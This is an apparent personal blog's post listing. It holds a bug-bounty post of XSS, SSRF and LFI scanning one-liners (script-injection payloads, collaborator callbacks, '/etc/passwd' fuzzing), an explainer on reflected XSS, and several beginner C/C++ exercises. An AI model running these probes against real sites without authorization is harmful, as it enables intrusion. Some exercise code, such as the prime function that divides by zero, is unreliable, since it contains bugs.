Posts

Showing posts from April 3, 2021

Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

What is Reflected XSS Vulnerability in Web Application?

Image
  What is a XSS attack Cross-site scripting  (XSS) is a web application vulnerability that permits an attacker to inject code, (typically HTML or JavaScript), into the contents of an outside website. When a victim views an infected page on the website, the injected code executes in the victim’s browser. Consequently, the attacker has bypassed the browser’s  same origin policy  and is able to steal private information from a victim associated with the website. What is a reflected XSS attack Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim’s browser. The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicio...

Program to find if a Number is Prime or Not Prime in C++ , OOP

Q: Write a function, which accept an integer value as argument, display the message if the integer value is prime otherwise display it is not prime. Write a main program which will call the function by passing an integer value the function.  Answer :  #include<iostream> using namespace std; int prime(int NUM); int main(){      int num, cond;     cout<<"Enter Number : ";     cin>>num;     cond = prime(num);     if(cond==2){     cout<<num<<"It is Prime Number "; }else { cout<<num<<"It is Not a Prime Number"; }     return 0; } int prime(int NUM){ int a=0; if(NUM>1){ for(int i=0; i<=NUM; i++){ if(NUM % i==0){ a++; }else { a=a; } } } return (a); }

How to Find GCD using Function in C++, OOP

  Q :  Write a function for finding GCD of two integer number. Then input three integer number through keyboard in main program and call the GCD function, so that final GCD of three number should be evaluated and displayed. Answer::: #include <iostream> using namespace std; int greatest_num(int a, int b, int c) { if(a>=b && a>=c) { return a; } else if(b>=a && b>=c) { return b; } else if(c>=a && c>=b) { return c; } } int main() { int m,n,o;  cout<<"Enter three Numbers for Finding GCD : ";  cin>>m>>n>>o; int result; for(result=greatest_num(m,n,o); result>=1; result--){ if(m%result==0 && n%result==0 && o%result==0){ break; } } cout<<"GCD of the given numbers is : "<<result<<endl; return 0; }

Leaf year or not using Function in OOP C++

  Q:  Write a function, which accept a year value as argument; display the message if the year is prime otherwise display that year is not a leap year. Write a main program which will call the function by passing a year value the function. Ans:::  #include <iostream> using namespace std; bool leapYear(int y); int main(){    int y;    cout<<"Enter year: ";    cin>>y;    //Calling function    bool flag = leapYear(y);    if(flag == true)         cout<<y<<" is a leap Year";     else        cout<<y<<" is not a leap Year";    return 0; } bool leapYear(int y){    bool isLeapYear = false;    if (y % 4 == 0) {       if (y % 100 == 0) {          if (y % 400 == 0) {             isLeapYear = true;       ...

Program for bank System in OOP C++

Define a class for a bank account that includes the following data member:  Name of the depositor   Account Number   Type of Account   Balance Amount in the Account.  The class also contains the following member functions.   A constructor to assign initial values.  Deposit function to deposit some amount. It should accept the amount as parameter.   Withdraw function to withdraw an amount after checking the balance. It should accept the amount as parameter.  Display function to display name and balance. Answer ::: #include<iostream.h> #include<conio.h> #include<stdio.h> #include<process.h> class Bank { //Declaration of data members public: char name[20]; char account_type[20]; int account_number; int balance; //member functions of the class Bank // initialize function to initialize data members void initialize() { cout<<"\nEnter Account Holders Name:"; gets(name); cout<<"\nEnter Account type:"; gets(account_type);...

Binary converter in C

 #include <stdio.h> #include <math.h> long decimalToBinary(int decimalnum) {     long binarynum = 0;     int rem, temp = 1;     while (decimalnum!=0)     {         rem = decimalnum%2;         decimalnum = decimalnum / 2;         binarynum = binarynum + rem*temp;         temp = temp * 10;     }     return binarynum; } int main() {     int decimalnum;     printf("Enter a Decimal Number: ");     scanf("%d", &decimalnum);     printf("Equivalent Binary Number is: %ld", decimalToBinary(decimalnum));     return 0; }

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C